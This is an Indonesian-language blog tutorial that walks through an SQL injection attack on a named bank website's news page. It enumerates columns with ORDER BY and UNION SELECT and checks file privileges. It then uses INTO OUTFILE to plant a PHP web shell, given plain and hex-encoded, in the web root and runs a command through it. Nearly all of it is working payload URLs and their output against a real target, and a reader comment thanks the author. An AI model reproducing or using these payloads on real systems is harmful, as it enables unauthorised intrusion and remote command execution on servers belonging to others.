Exploit web bank with mysql into out file/ dump file



[ MYSQL Injection INTO OUTFILE ]

target:http://janatabank.com.np/news_detail.php?id=42
author: X'1N73CT

bug ini sangat lah istimewa dikarenakan kita bisa upload shell tanpa login kedalam admin
ok langsung saja

[ testing ]
http://janatabank.com.np/news_detail.php?id=42%27
hasil:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\xampp\htdocs\janata\news_detail.php on line 28

error wahh vuln mysqli

lanjuutt kita cari jumlah tabelnya

[ mencari jumlah tabel ]
kita menggunakan perintah order by
http://janatabank.com.np/news_detail.php?id=42 order by 1-- <= normal
http://janatabank.com.np/news_detail.php?id=42 order by 7-- <= error
http://janatabank.com.np/news_detail.php?id=42 order by 5-- <= error
http://janatabank.com.np/news_detail.php?id=42 order by 4-- <= error
http://janatabank.com.np/news_detail.php?id=42 order by 3-- <= normal
ok kita pastikan jumlahnya ada 3

next
[ mencari angka injeksi ]
dengan menggunakan perintah union select
http://janatabank.com.np/news_detail.php?id=-42 union select 1,2,3--
keluar angka2nya

[ mencari versinya ]
menggunakan perintah version() atau @@version
http://janatabank.com.np/news_detail.php?id=-42 union select 1,version(),3--
hasil:
hahay versinya 5 lanjut

saatnya testing kedua

[ testing into outfile ]
cara testingnya adalah dengan mengganti perintah version() dengan peritah file_priv diikuti
dengan perintah mysql.user
http://janatabank.com.np/news_detail.php?id=-42 union select 1,file_priv,3 from mysql.user--
hasil:
terdapat huruf Y yang berarti yes hehe alias work jika hasilnya N maka gk bisa
lanjutt kita tes dengan peritah selanjutnya

[ memasukan shell ]
cara memasukan perintah shellnya adalah dengan mengganti perintah file_priv dengan script
shell cmd namun kali ini saya tidak akan langusng measukan script shellnya karena saya ingin
mengetes sekali lagi untuk memastikan bahwa web ini benar2 vuln
kali ini saya akan memasukan sebuah kata guna untuk menetes web ini
caranya adalah dengan mengganti peritah file_priv dengan sebuah kata dan diikuti dengan perintah
+INTO+OUTFILE+'directori file'--
cara mendapatkan directori file ini saya memanfaatkan error pada website ini
yakni
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\xampp\htdocs\janata\news_detail.php on line 28
disitu dikatakan bahwa terdapat error pada file news_detail.php pada directory C:\xampp\htdocs\janata\news_detail.php
ok kita sudah dapat directorinya
sekarang saatnya mengubahnya kedalam perintah mysqli into outfile
http://janatabank.com.np/news_detail.php?id=-42 union select 1,X'1N73CT WAS HERE ,3+INTO+OUTFILE+'C:/xampp/htdocs/janata/tess.php'--

yups perintah di atas ialah perintah
saya memasukan kata X'1N73CT WAS HERE lalu saya simpan di file tess.php

kemudian kita hexa kata X'1N73CT WAS HERE sehingga menjadi:

http://janatabank.com.np/news_detail.php?id=-42 union select 1,0x5827314e3733435420574153204845524520,3+INTO+OUTFILE+'C:/xampp/htdocs/janata/tess.php'--

lalu enter

sekarang kita coba buka liknya
http://janatabank.com.np/tess.php
hasil:
1 X'1N73CT WAS HERE 3

yesss work

lanjutt kita injeksi dengan script shell cmd
http://janatabank.com.np/news_detail.php?id=-42 union select 1,<?php system($_REQUEST['cmd']); ?>,3+INTO+OUTFILE+'C:/xampp/htdocs/janata/banking.php'--

kita hexa dulu

http://janatabank.com.np/news_detail.php?id=-42 union select 1,0x3c3f7068702073797374656d28245f524551554553545b27636d64275d293b203f3e,3+INTO+OUTFILE+'C:/xampp/htdocs/janata/banking.php'--
enter

lalu kita buka file banking.php
http://janatabank.com.np/banking.php
hasil:

1
Warning: system() [function.system]: Cannot execute a blank command in C:\xampp\htdocs\janata\banking.php on line 1
3

kita coba tes shell nya dengan cara

?cmd=dir <= untuk server windows
?cmd=ls <= untuk linux

berhubung errornya C:\xampp\htdocs kelihatan kalau web ini menggunakan xampp dan xampp adalah bisa dijalankan diwindows
jadi bisa dipastikan server nya adalah windows
sekarang
saya coba
?cmd=dir
http://janatabank.com.np/banking.php?cmd=dir
hasil:
wahhh mantapp script bekerja dengan sempurna
setelah ini tergantung pengguna untuk upload shell atau apa aja

sekian dari saya
semoga bermanfaat

salam dari saya

1 comment:
Write komentar
  1. manteppp gan tutornya.... ajiiibbbbb dan membantu saya

    ReplyDelete

Pengunjung Yang Baik Adalah Pengunjung Sering Berkomentar Pada Suatu Blog Yang Di Kunjunginya...

Labels